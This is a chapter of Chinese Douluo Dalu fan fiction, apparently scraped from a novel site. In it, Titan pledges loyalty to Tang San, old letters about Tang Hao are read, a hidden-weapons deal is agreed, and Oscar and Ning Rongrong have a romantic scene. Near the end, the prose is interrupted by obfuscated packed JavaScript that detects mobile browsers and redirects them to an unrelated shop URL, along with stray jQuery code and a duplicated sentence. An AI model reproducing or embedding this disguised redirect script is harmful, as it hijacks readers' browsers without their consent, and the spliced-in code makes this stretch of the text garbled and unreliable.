文趣网 > 其他小说 > 斗罗大陆之死神天使 > 75.旧信
    泰坦那声“少主”落下以后,学院门前许久没有人说话。

    唐三仍握着昊天锤,黑色锤身悬在左手旁,没有魂环,也没有任何华丽光芒。可泰坦祖孙三人就跪在他面前,连刚才面对魂斗罗威压都能保持冷静的唐三,一时间也不知道该如何处理。

    他伸手去扶泰坦,老人却像一块嵌进地面的巨石,膝盖没有移动分毫。

    “前辈,您先起来。”唐三右手还扶着白仞,无法真正用力,只能压低声音说道,“我连发生了什么都不知道,受不起这一礼。”

    泰坦抬头看着他,眼底仍残留着见到昊天锤后的激动:“您是主人的儿子,便受得起。”

    唐三还想说话,学院门外忽然传来一阵不疾不徐的脚步声。

    “泰坦前辈既然已经确认了想确认的事,还是先起来吧。”

    温和声音从道路另一端传来。

    宁风致身穿一袭简单白袍,正与骨斗罗古榕一同向学院门前走来。两人没有带七宝琉璃宗的随从,显然只是以私人身份前来。宁风致的目光先落在唐三左手的昊天锤上,随后又看向跪在地上的泰坦,眼中虽然有惊讶,却没有普通人第一次见到这一幕时的失态。

    古榕则在走近后停顿了一瞬。他原本以为宁荣荣信里已经把史莱克学院那些小怪物写得足够夸张,真正来到这里才发现,荣荣还是省略了不少东西。一个十四岁的魂宗已经足够罕见,现在唐三手里又多出一柄昊天锤,门外还跪着力之一族的族长。

    古榕视线经过唐三,最后停在白仞尚未完全收起的双翼上。白金左翼仍挡在唐三身后,灰黑右翼却已经失去大半光泽,羽尖几乎垂到地面。白仞右肩的绷带被血重新染透,脸色也因体温下降而显得格外苍白,却始终没有离开唐三身侧。

    宁风致显然也注意到了这些。他的目光在白仞染血的右肩与尚未完全收起的双翼间停留片刻,很快便重新转向唐三与泰坦,没有在此刻打断眼前的局面。

    他走到泰坦侧前方,温声提醒:“这里终究是学院门口。学生众多,昊天锤和力之一族的旧事也不适合当众谈。泰坦前辈若是真心认这位少主,更不该让他继续站在这里为难。”

    泰坦回头看了宁风致一眼。两人都是大陆上有名的人物,虽然平日没有太多往来,却不可能不认识。泰坦知道宁风致说得有理,沉默片刻后终于借唐三伸来的手站起身。

    泰诺与泰隆也跟着起身。泰隆低着头,直到站稳以后都不敢看周围学员的反应。他原本只想在学院里证明自己配得上追求小舞,事情却从白仞一路牵扯到父亲、爷爷,最后连力之一族认主都闹得人尽皆知。

    弗兰德立刻让附近围观的学生散开。普通学员虽然仍忍不住回头,却没人敢在几名魂圣、魂斗罗与封号斗罗面前继续停留。戴沐白也带着马红俊和朱竹清退到教学区,只有小舞、宁荣荣与奥斯卡留了下来。

    奥斯卡手里还握着刚制作出的香肠。唐三和白仞都需要立即处理,他自然不可能在这时离开。

    一行人最终进入学院内一间较大的会议室。

    白仞刚准备在唐三旁边坐下,邵鑫已经先将椅子拖到光线更好的位置,示意他把右肩外衣解开。

    “先看伤。”邵鑫不等泰坦开口,直接打断了老人明显急于询问的神情,“有话可以慢慢说。经脉真出了问题,谁跪下都治不好。”

    泰坦没有反驳。

    白仞肩膀上的绷带刚被解开,一道原本已经结痂的伤口便重新显露出来。泰坦最后释放全部魂力威压时,旧伤被强行撕裂,周围经脉也因寂灭双翼长时间承压出现细小损伤。

    邵鑫检查片刻,脸色逐渐变得不太好看:“这叫不影响行动?”

    白仞扫了一眼:“还能抬手。”

    “断了也能用另一只手抬。”邵鑫没好气地把药粉压在伤口上,又让奥斯卡把恢复大香肠递过来,“今天不许再使用武魂,也不许共同修炼。右肩温度恢复以前,魂力只能正常运转,不能强行冲穴。”

    唐三坐在另一侧,听得比白仞本人更加认真。他的伤势主要来自魂力过度压迫,八蛛矛替骨骼分担了很大一部分力量,经脉情况反而比白仞稳定。

    小舞守在两人之间,直到邵鑫确定没有严重内伤,绷紧的肩膀才稍微放松。

    宁荣荣释放九宝琉璃塔,将恢复增幅落到两人身上。奥斯卡配合着继续制作食物,连续几次魂技以后呼吸明显变重,却没有停下来休息。

    宁荣荣看见他额角渗出的薄汗,九宝琉璃塔的光芒自然转过一层,分出一道增幅落在他身上。

    奥斯卡身体一轻,下意识向她看去。宁荣荣只盯着唐三和白仞的伤势,没有与他对视,仿佛刚才只是最普通的辅助配合。

    奥斯卡收回目光,制作香肠的速度却明显稳定了许多。

    宁风致没有注意到这一点。

    他的视线大多停在唐三与泰坦身上,偶尔也会落向白仞。直到邵鑫重新替白仞包扎好伤口,泰坦才终于开口:“少主,主人现在何处?”

    唐三已经收起昊天锤。

    听见泰坦再次称呼自己为少主,他仍然有些不适应,却没有在此时纠正,只从二十四桥明月夜中取出一封保存多年的旧信。

    信纸已经略微发黄,折痕也因反复打开而变得很深。

    唐三没有立刻交给泰坦,只先说明了唐昊离开前的经过。

    “我六岁去诺丁学院时,爸爸没有离开圣魂村。”唐三指腹压在信封边缘,声音比平日慢了一些,“后来白仞在第一次猎取魂环时失踪,消息传回村里,爸爸也知道这件事。”

    白仞坐在一旁,没有抬头。他第一次从猎魂森林消失以后,大师和唐三都没有找到尸体。唐三回到圣魂村时,只能告诉唐昊与老杰克,白仞大概已经没有生还可能。

    那时唐昊没有说过什么。往后那些年,他仍留在铁匠铺里,照旧喝酒、打铁,也照旧在唐三每次假期回来时坐在那间破旧屋子里。

    “我从诺丁学院毕业以后,决定来史莱克。”唐三继续说道,“我把这件事告诉爸爸。第二天早上,他便不在了,只留下这封信。”

    他将信递给泰坦,泰坦双手接过,动作与他粗犷高大的外表并不相称。他只看了开头几行,便已经确认字迹属于唐昊。

    信上的内容并不长。唐昊只说,看着唐三平安长大,也已经决定离开村子、去更远的地方,他便不必继续留在圣魂村。唐三已经能够照顾自己,也找到了属于自己的路。

    而他自己,也该去做早就应该做的事情。

    不要寻找。到了该见面的时候,自然会再见。

    泰坦的手指停在最后那行落款上,许久没有移动。

    “是主人的字。”他的声音比先前低沉许多,“不会有错。”

    唐三一直观察着他的神情:“您知道他要去做什么?”

    泰坦没有立即回答。他盯着信上“早该做的事情”几个字,像是从中看见了某种自己等待多年的决定。过了片刻,他才把信放回桌面。

    “我只能猜到一些。”泰坦看向唐三,“但主人没有亲自告诉您,老奴不能越过他把所有事情说出来。”

    唐三眼中的期待没有消失:“那您能告诉我什么?”

    泰坦沉默片刻,最终只从唐三手中的武魂说起。

    “主人出身昊天宗,是宗门直系子弟。”他看向唐三的左手,神情逐渐变得郑重,“您刚才使用的昊天锤,便是昊天宗最纯正的传承武魂。”

    唐三没有出声。

    在他的记忆里,唐昊大多数时候都在喝酒。破旧的衣服、凌乱的头发、永远打不起精神的眼睛,以及铁匠铺里长年散不去的酒气,几乎构成了他对父亲全部的印象。

    可现在,一名八十六级魂斗罗跪在他面前,告诉他那个沉默潦倒的铁匠来自大陆第一器武魂宗门。

    泰坦的目光落向桌上的旧信,粗硬的手指一点点收紧。

    “力之一族曾是昊天宗的附属宗族,但老奴真正追随的人,一直只有主人。”他说到这里,声音已经比先前沙哑许多,“至于主人为什么离开宗门,又为什么会在圣魂村隐居,那段往事牵扯太多,老奴不能替他说。”

    “连我也不能知道吗?”唐三问道。

    泰坦沉默片刻,缓慢摇头:“这些事情应该由主人亲口告诉您。况且当年的真相,老奴知道的也未必完整。”

    他看着唐三,眼神重新变得坚定。

    “少主只需要记住,主人从来不是懦夫,更不是一个一无是处的铁匠。他离开圣魂村,必然是去完成只能由他亲自完成的事。”

    唐三看着那封信。

    白仞一直没有开口。

    泰坦提到昊天宗旧事时,白仞包着绷带的右手在膝侧轻轻收紧,又很快松开。他知道唐昊为何离开昊天宗,也知道那段往事最终牵扯到谁,可这些真相不应该由他在此刻说出。

    唐三忽然想到什么,抬头问道:“爸爸离开以后,有没有可能回过圣魂村?”

    泰坦无法回答。白仞却在短暂沉默后,从衣物内侧取出另一封信。

    这封信明显新得多,纸张边缘还有长途寄送后留下的轻微折损。信封上的字不算工整,却写得很用力,一眼便能看出写信的人已经年纪不小。

    唐三认出了那是老杰克的字迹。

    “我恢复身份、回到学校以后,给杰克爷爷写过信。”白仞把信递到唐三面前,“告诉他我没有死,这些年也一直活着。顺便问了唐昊怎么样。”

    唐三没有立刻接,先看向白仞:“什么时候?”

    “从冰火两仪眼回来以后。”白仞说道,“回信前几日才送到。你一直在准备课程和共同修炼测试,我原本准备等伤势稳定以后再给你。”

    唐三这才接过信。

    老杰克显然在动笔前积攒了太多话,开头几乎全是在骂白仞。

    老人骂他活着也不知道早点报信,骂他让村里人白白难过了这么多年,又说白仞当年留下的屋子虽然旧了,村里人偶尔仍会帮忙修补屋顶。只要人还活着,什么时候回来都还有地方住。

    信写到后面,才回答了唐三想知道的事。

    唐昊离开后没有再回圣魂村。唐家铁匠铺一直空着,里面的炉子早已冷透。老杰克偶尔会进去打扫,却从未发现有人重新住过,也没有收到唐昊的任何消息。

    唐三把那几行读了两遍。他没有失望得太明显,只把信纸与唐昊留下的旧信一起放到桌面上。两张纸一新一旧,写信的人相隔千里,也都无法告诉他唐昊如今在什么地方。

    泰坦看完老杰克的回信后,再没有对唐昊可能返回圣魂村抱有希望。

    他将信纸缓慢放回桌面,重新坐直身体:“主人离开以后,力之一族便没有再认过其他主人。如今既然找到少主,全族上下自然愿意听候您的差遣。”

    唐三眉头轻轻皱起:“力之一族有多少人?”

    “算上老弱妇孺,全族近五百人。其中能够参与战斗与锻造的青壮魂师二百余人。”

    唐三听见这个数字后,没有因突然获得一股力量而欣喜,反而更加谨慎。他看着面前这位已经年迈、却仍坚持称自己为少主的老人,一时只觉得肩上忽然多了许多他尚且无法理解的东西。

    “我不了解力之一族,也不知道父亲过去经历过什么。”唐三说道,“仅凭我是他的儿子,就让我决定几百个人以后做什么,这不合适。”

    泰坦似乎早已料到他会拒绝:“少主可以暂时不给我们任何命令。力之一族认谁为主,是我们自己的选择。您现在不愿接受,我们便等到您愿意了解我们以后再说。”

    唐三沉默片刻,忽然看向站在泰坦身后的泰隆。

    “泰隆是我的同学,您又是他的爷爷。”他的声音放缓了些,“若您不介意,我以后便称您一声泰爷爷吧。”

    泰坦怔住:“少主,这……”

    “我现在还担不起少主这个称呼。”唐三摇了摇头,“至少在我真正了解父亲、也了解力之一族之前,您还是叫我唐三吧。”

    泰坦看着他,眼中的激动渐渐沉下去一些,却没有真正退让:“少主愿意如何称呼老奴都可以。只是主人血脉在前,老奴不能失了规矩。”

    唐三听出他一时改不过来,也没有继续强求,只说道:“那我会去力之一族看看。其他事情,等我真正了解以后再决定。”

    泰坦脸上终于露出一丝放松:“老奴在府中等候少主。”

    泰坦脸上露出一丝放松:“老奴在府中等候少主。”

    他说完以后,目光转向白仞。

    白仞右肩已经包扎妥当,右侧体温也在九宝琉璃塔与恢复香肠的作用下缓慢回升,只是脸色仍然不算好看。泰坦看着那处重新缠好的绷带,沉默片刻后,语气比先前低了许多。

    “今日是老夫过了。”他说道,“你昨日才与泰诺交手,身上本就有伤。老夫为了试探,最后仍用了全力,这件事不该。”

    白仞抬眼看了他一下,没有立刻接话。

    泰坦没有回避他的视线:“若你伤势因此留下隐患,力之一族会负责到底。”

    “测试是我自己接下的。”白仞说道。

    这句话听起来像是不追究,却也没有多少宽慰的意思。泰坦看了他片刻,反而更明白眼前这个少年并不是因为唐三多了一个“少主”的身份,才站在他身边承受那场威压。

    “少主能有你这样的同伴,确实是幸事。”泰坦缓声道。

    白仞垂下视线,指尖在膝侧轻轻收了一下:“我认识的是唐三。”

    会议室里短暂安静下来。

    唐三侧过脸看了他一眼,没有接这句话,只把邵鑫刚刚放在桌边的药瓶向白仞推近了一些:“右肩晚上还要再换一次药,别忘了。”

    白仞看见药瓶停在自己手边,片刻后才伸手接过:“知道了。”

    泰坦眼中的认可却更深了几分。他效忠唐昊,也愿意因为血脉追随唐三,可白仞显然不属于昊天宗,更不在意唐三如今多了一个怎样的身份。这样的人愿意与唐三共同面对魂斗罗威压,本身便比任何口头效忠更加可信。

    力之一族的事情说清后,宁风致才说明自己今日前来的本意。

    拍卖场买下含沙射影以后,他已经亲自测试过威力,也从宁荣荣那里了解了诸葛神弩、无声袖箭与飞天神爪等暗器的作用。七宝琉璃宗直系弟子缺乏正面战斗能力,暗器足以大幅提升他们在战斗中的自保能力。

    “七宝琉璃宗真正想购买的,是暗器的完整制作方法。”宁风致没有立即取出准备好的清单,“价格可以由你决定。”

    唐三几乎没有犹豫:“完整制作方法不卖。”

    古榕原本微阖的双眼缓缓睁开,目光落到唐三身上。宁风致脸上的笑意却没有变化:“没有商量的余地?”

    “普通零件的尺寸和锻造要求可以交给贵宗,核心机括与最后组装必须由我完成。”唐三解释道,“这样既不会耽误交付,也能保证暗器的制作方法不会轻易外流。至于弩箭、钢针一类的消耗品,七宝琉璃宗可以自行补充。”

    宁风致没有立刻回答。他拿起桌上的含沙射影,在手中缓慢转动片刻,才重新看向唐三。

    “五百套,每套包括诸葛神弩、飞天神爪、无声袖箭、紧背花装弩、含沙射影和跺脚弩。”他说道,“每套一万金魂币,总价五百万。按照一百套分批交付,材料与普通零件由七宝琉璃宗负责。”

    他将早已准备好的材料清单与价格递到唐三面前。

    唐三仔细看过,确认其中没有要求任何核心图纸,价格也足够合理,才点头答应:“可以。”

    泰坦听见需要大量精密零件,立刻开口:“力之一族世代以锻造为生,族中也有自己的铁匠铺。少主若担心尺寸精度,可以先亲自去工坊检查。若族中铁匠达不到要求,老奴绝不会耽误少主的生意。”

    唐三没有因泰坦已经认主便立即答应,只点头表示会亲自检查工坊和样品。

    宁风致对这种谨慎并不介意。他取出一张金色卡片放到唐三面前:“这是第一批订金。剩余部分按照完成数量结算。至于荣荣服下的绮罗郁金香,已经不是金魂币能够衡量的东西,我也不会把它混入暗器价格中。”

    宁荣荣坐在父亲身旁,听见这句话后想要开口,唐三已经先一步说道:“仙草是送给荣荣的,与交易无关。”

    宁风致看着唐三,脸上的笑意真诚了几分:“所以七宝琉璃宗会记下这份人情。”

    暗器的事情很快确定下来。

    宁风致没有继续占用唐三恢复的时间,目光却在准备结束谈话时转向白仞。

    “拍卖场见面时,我便邀请过你去七宝琉璃宗。”宁风致的视线落在白仞重新包扎好的右肩上,“今日又见到你在魂斗罗威压下坚持到最后,我更加确定,以你现在的修炼速度,普通学院能够提供的资源迟早会变得有限。”

    白仞已经明白了他的意思。

    宁风致没有要求他离开史莱克,也没有要求他正式成为七宝琉璃宗弟子。他提出的身份是客卿,平时仍可留在学院,宗门也不会限制他与史莱克众人的来往。

    相应的,七宝琉璃宗会向他开放部分修炼资源与魂兽资料,也可以提供稀有金属、储物魂导器以及修炼所需的特殊材料。以后若需要猎取重要魂环,宗门也会根据魂兽的等级与危险程度,安排实力足够的长老随行。

    这样的条件,已经远超过普通客卿能够得到的待遇。

    古榕坐在宁风致身旁,没有反对。白仞的年纪、修为和双生武魂都足以让任何宗门破例。更何况他亲眼见过那对寂灭双翼与唐三产生的短暂共鸣,也知道白仞手中还有一柄没有显露魂环的镰刀。

    白仞却没有考虑太久。

    “多谢宁宗主。”他说道,“但我现在没有加入任何宗门的打算。”

    宁风致没有因拒绝不悦:“是因为史莱克?”

    白仞目光从弗兰德、大师、赵无极与邵鑫身上经过。赵无极此刻仍在盯着他的右肩,显然只要他再说一句不影响训练,明日减半的训练也会被直接取消。

    “这里有人教我,也有人会管我。”白仞收回视线,“现在不需要换地方。”

    弗兰德推了推眼镜,嘴角几乎已经要翘起来,又及时维持住院长应有的稳重。

    赵无极则轻哼一声,像是对白仞终于知道自己有人管这件事勉强满意。

    宁风致看着白仞,没有立刻接话。

    少年拒绝得清楚,却没有让任何一方难堪。先感谢,再说明决定,最后给出不会被误解为轻视七宝琉璃宗的理由。这个年纪能够在宗门招揽面前保持分寸,已经比单纯拥有出众天赋更加难得。

    “既然如此,我不勉强。”宁风致说道,“客卿的位置会一直保留。哪天改变主意,可以随时让荣荣带你来见我。即使不加入宗门,也欢迎你去七宝琉璃宗做客。”

    白仞应下了后一句。事情全部谈妥后,泰坦最先起身告辞。

    唐三再次要求他不要继续称呼自己为少主,泰坦表面答应以后尽量注意,开口告别时却仍旧说了一句“少主保重身体”。

    泰诺跟在父亲身后,经过白仞时停了一下,神情多少有些尴尬。

    昨日他还把白仞当作需要教训的学生,今日父亲却将白仞视为唐三最重要的同伴。好在泰诺性格直接,没有继续纠结,只认真说道:“等你伤好了,有机会再切磋一次。”

    泰隆在后面听见,脸色顿时变了:“爸,您昨天才说事情结束。”

    “我说的是正常切磋,又不是上门讨说法。”泰诺瞪了他一眼,“你怕什么?”

    “我不怕。”泰隆立刻否认,目光却下意识落向白仞的双翼曾经出现过的位置,“我只是觉得学院地面还没修好。”

    弗兰德听到“地面”两个字,立即抬眼看了过来。

    泰诺没有再给他计算第二次赔偿的机会,带着泰隆快步跟上泰坦。

    宁风致与古榕稍后也准备离开。

    宁荣荣将父亲送到学院门外。宁风致只叮嘱她继续认真修炼,等首批暗器零件制作完成后,再由宗门派人送来。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724230|208369||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >他没有留意奥斯卡,也没有询问女儿与学院里任何人的关系。今日发生的事太多,昊天锤、力之一族、唐昊的下落以及白仞的天赋,已经占据了他大部分注意。

    古榕离开前回头看了一眼学院:“风致,你很少在一个孩子拒绝以后,还把客卿的位置一直留着。”

    宁风致沿着道路向前走,并未否认:“他的天赋值得破例。双生武魂、十四岁便达到魂宗,又能与唐三形成那种特殊的魂力循环。这样的人,只要没有中途夭折,将来的成就不会低。”

    “只因为天赋?”

    “当然不止。”宁风致笑了笑,“他拒绝七宝琉璃宗,却没有因为自身天赋轻视宗门,也没有借着荣荣与唐三的关系向我索取什么。比起一个急于依附大宗门的天才,我更愿意为这种人留一个位置。”

    古榕不置可否地哼了一声,却也没有反驳。

    两人的身影很快消失在道路尽头。

    宁荣荣一直站在学院门边,直到父亲与骨斗罗完全离开,才缓慢转身。

    会议室中的人已经陆续散去。

    唐三和白仞都被邵鑫勒令回去休息,小舞自然跟着他们。弗兰德与大师还要讨论昊天锤暴露后的处理方式,赵无极则去查看门前那片被泰坦魂力压坏的地面。

    奥斯卡不知什么时候先离开了。宁荣荣回到会议室时只看见桌上留下的一只空盘,刚才奥斯卡用来制作恢复香肠的魂力波动也已经完全消散。

    她在原地站了一会儿,最后还是向食堂方向走去。食物系魂师在食堂附近修炼效果最好。奥斯卡平时若不在宿舍,大多数时候都能在那里找到。

    天色已经逐渐暗了下来。

    宁荣荣走到食堂后门时,先听见里面传来餐具轻轻碰撞的声音。奥斯卡正背对着门收拾桌面,长发用一根简单布带扎在脑后,动作比平时慢一些,显然白日连续制作恢复食物的消耗还没有完全恢复。

    宁荣荣站在门口,没有立刻进去。她忽然发现,自己似乎已经很久没有认真看过奥斯卡独自一人的样子。

    在众人面前,他总喜欢说些不太正经的话,也总能在气氛沉重时找到理由开玩笑。可真正没有人在旁边时,他只是安静地把用过的餐具放回原处,再把桌面上的碎屑一点点擦干净。

    奥斯卡察觉门外有人,回头看见宁荣荣时,手中动作明显停了一下。

    “你怎么来了?”他很快重新低下头,把最后一只盘子放进木盆,“宁宗主走了?”

    “刚走。”宁荣荣走进食堂,顺手把门轻轻带上,“我有话想和你说。”

    奥斯卡握着抹布的手指收紧了一些。他大概猜到她准备说什么。

    自从宁荣荣从七宝琉璃宗回来,他们之间便始终保持着一种谁都没有主动说破的距离。她会在奥斯卡被攻击的第一时间给他增幅,也会在他魂力消耗过大时留下来等他恢复;奥斯卡依旧会把最好的一根香肠留给她,却很少再像最初那样把喜欢挂在嘴边。

    他们都知道有些东西已经改变,却没有人真正迈出下一步。

    “你说。”奥斯卡放下抹布,在围裙上擦了擦仍有些湿的手,才转过身面对她。

    宁荣荣原本准备好的话,在真正看见他以后忽然变得有些难以出口。

    她看着食堂地面,鞋尖轻轻碰了一下砖缝:“你以前说喜欢我,现在还算数么?”

    奥斯卡愣住了。

    他没有立刻像过去那样笑着说当然,也没有抓住机会故意逗她。那双桃花眼安静看了宁荣荣片刻,神情反而比她想象中更加认真。

    “算。”他说道,“但不是刚入学时那种。”

    宁荣荣抬起头。奥斯卡靠在桌边,像是在寻找更准确的说法:“那时候我只觉得你好看,又是和我一样的辅助系魂师。后来知道你是七宝琉璃宗的小公主,就忍不住想,要是真能让你喜欢我,好像是一件很有面子的事。”

    他说得过于坦白,宁荣荣脸上的紧张反而散开一点:“你倒是承认得很快。”

    “因为那时候确实很蠢。”奥斯卡笑了一下,笑意却很快淡了,“后来你变了,我也看见了你真正是什么样的人。你会害怕,会逞强,也会明明已经很累还不肯把增幅收回去。你不是因为七宝琉璃宗才值得我喜欢。”

    宁荣荣的手指缓慢蜷起。她原本想直接告诉奥斯卡不可能,让两人都不要继续浪费时间。可听见这些话以后,准备好的拒绝便再也无法像来时那样顺利说出。

    “奥斯卡。”她叫了他的全名,“我们宗门有规矩。”

    奥斯卡没有打断,等她继续。

    “七宝琉璃塔没有攻击能力。”宁荣荣声音很轻,却说得清楚,“不管辅助能力多强,直系弟子都需要有人保护。所以宗门一直要求,直系弟子的伴侣必须是强大的战魂师。”

    她说到这里停了一下,才终于看向奥斯卡:“可你和我一样,也是辅助系。”

    最后几个字落下时,食堂里安静了很久。

    外面隐约传来学员经过的脚步声,很快又消失。奥斯卡垂下眼,视线停在自己刚刚擦干净的手上。那双手能在最短时间内做出恢复香肠,也能在战斗中把同伴从魂力枯竭的边缘拉回来,可宁荣荣说得没有错。真到了需要有人挡在她身前的时候,他现在什么都做不了。

    这个认知比被直接拒绝更难堪。

    宁荣荣见他不说话,心里反而更加难受。

    “我不是觉得你不够好。”她向前走了半步,又在真正靠近以前停下,“你的天赋比宗门里很多食物系魂师都强。可我是七宝琉璃宗直系,以后还可能要承担宗门的责任。这件事不会只由我一个人决定。”

    “所以你来,是想让我以后别再喜欢你?”奥斯卡问道。

    宁荣荣张了张嘴。理智告诉她应该点头。越早说清楚,对两个人都越好。

    可她看着奥斯卡,却迟迟无法作出那个动作。

    奥斯卡等了一会儿,忽然笑了。那笑容没有平时那么轻松,也没有被拒绝后的难堪,反而像是终于从她的沉默里确认了某件事。

    “你没有说不喜欢我。”他说。

    宁荣荣脸颊顿时发热:“我在和你说宗门规矩。”

    “我听见了。”奥斯卡没有靠得太近,只站直身体,认真看着她,“现在的我确实保护不了你。真遇到像泰坦前辈那样的人,我除了给你一根香肠,什么都做不了。”

    宁荣荣想反驳食物系魂师并不是没有价值,奥斯卡已经继续说道:“但那是现在。”

    他的语气没有多么激昂,也没有当场许下必定改变宗门的承诺。

    “我不知道以后能不能做到,也不知道你爸爸会不会看得上我。”奥斯卡说道,“可在我真的证明自己不行以前,我不想因为一条规矩便先退出。”

    宁荣荣眼睫轻轻颤了一下。

    “你不用现在答应我。”奥斯卡看着她逐渐泛红的眼睛,声音也放缓了一些,“也不用为了我和家里争。你只要别在我还没有走到那一步以前,替我决定我永远做不到。”

    宁荣荣没有回答。

    奥斯卡向她伸出手时,动作比平时犹豫得多。指尖刚触到她的手腕便停下来,像是在给她最后一次躲开的机会。

    宁荣荣没有后退。

    奥斯卡这才轻轻握住她的手。

    宁荣荣的手比他想象中更凉,手指也因刚才一直用力而有些僵硬。奥斯卡没有像平日开玩笑时那样抓紧,只用掌心托着她的指尖,低下头时长发从肩侧滑落,遮住了大半张已经迅速发红的脸。

    一个很轻的吻落在她手背上。停留时间短得几乎只剩温度。

    宁荣荣整个人僵在原地。

    奥斯卡抬起头以后似乎也被自己的动作吓了一跳。他原本想说什么,嘴唇动了两下,最后只挤出一句:“那就先这样。”

    “什么叫先这样?”宁荣荣终于回过神。

    奥斯卡已经松开她的手,转身便向食堂另一侧出口走去。最初几步还勉强保持正常,等宁荣荣追问第二遍,他脚下速度立刻加快,险些被门槛绊住。

    “奥斯卡!”

    “我去修炼!”他头也不回地喊道,“今天魂力还没恢复!”

    “食物系拟态修炼场就在这里,你跑什么?”

    奥斯卡的脚步明显乱了一下,却没有停下来,很快便消失在拐角后。

    宁荣荣站在食堂中央,听着远去的脚步声,脸上的热度迟迟没有消退。

    她低头看向自己的手背。那里没有留下任何痕迹,刚才短暂的触感却像仍停在皮肤上。宁荣荣抬起另一只手,指腹在那处轻轻碰了一下,最后没有擦拭,只慢慢将手收回胸前。

    夜色真正降下时,白仞已经将唐三送回了他的宿舍。邵鑫不许他们修炼,小舞也被大师叫去重新整理今日的课程笔记,房间里难得只剩下两个人。

    唐三把唐昊留下的旧信与老杰克刚寄来的回信并排铺在桌面上。旧信上的字迹沉稳有力,信纸已经因多年保存而发黄。新信写得歪斜许多,开头大段都是老杰克对白仞迟迟不报平安的责骂,最后才写到那间始终空着的铁匠铺。

    窗户没有关严。夜风从缝隙里吹进来,将两张信纸的边缘同时掀起。白仞伸出包着绷带的右手,把信纸重新压回桌面。

    唐三看了很久。白日里泰坦说过的每一句话仍在脑海中反复出现。昊天宗、力之一族,还有一个与他记忆中完全不同的唐昊。

    可昊天宗与力之一族的旧事,依旧没有告诉他父亲现在在哪里。

    “我什么时候才能再见到爸爸?”唐三终于问道。

    白仞无法回答。他知道唐昊还活着,也知道那个人终究会再次出现在唐三面前。可他不能说出一个自己不应该知道的时间,更无法替唐昊承诺何时回来。

    “等他愿意见你的时候。”白仞说道。

    唐三低下头,手指缓慢抚过旧信最后的落款。

    桌上的烛火轻轻晃动,两封来自圣魂村的信并排铺在他们之间。白仞的手仍压在被风吹起的一角,唐三也没有再把信收回二十四桥明月夜。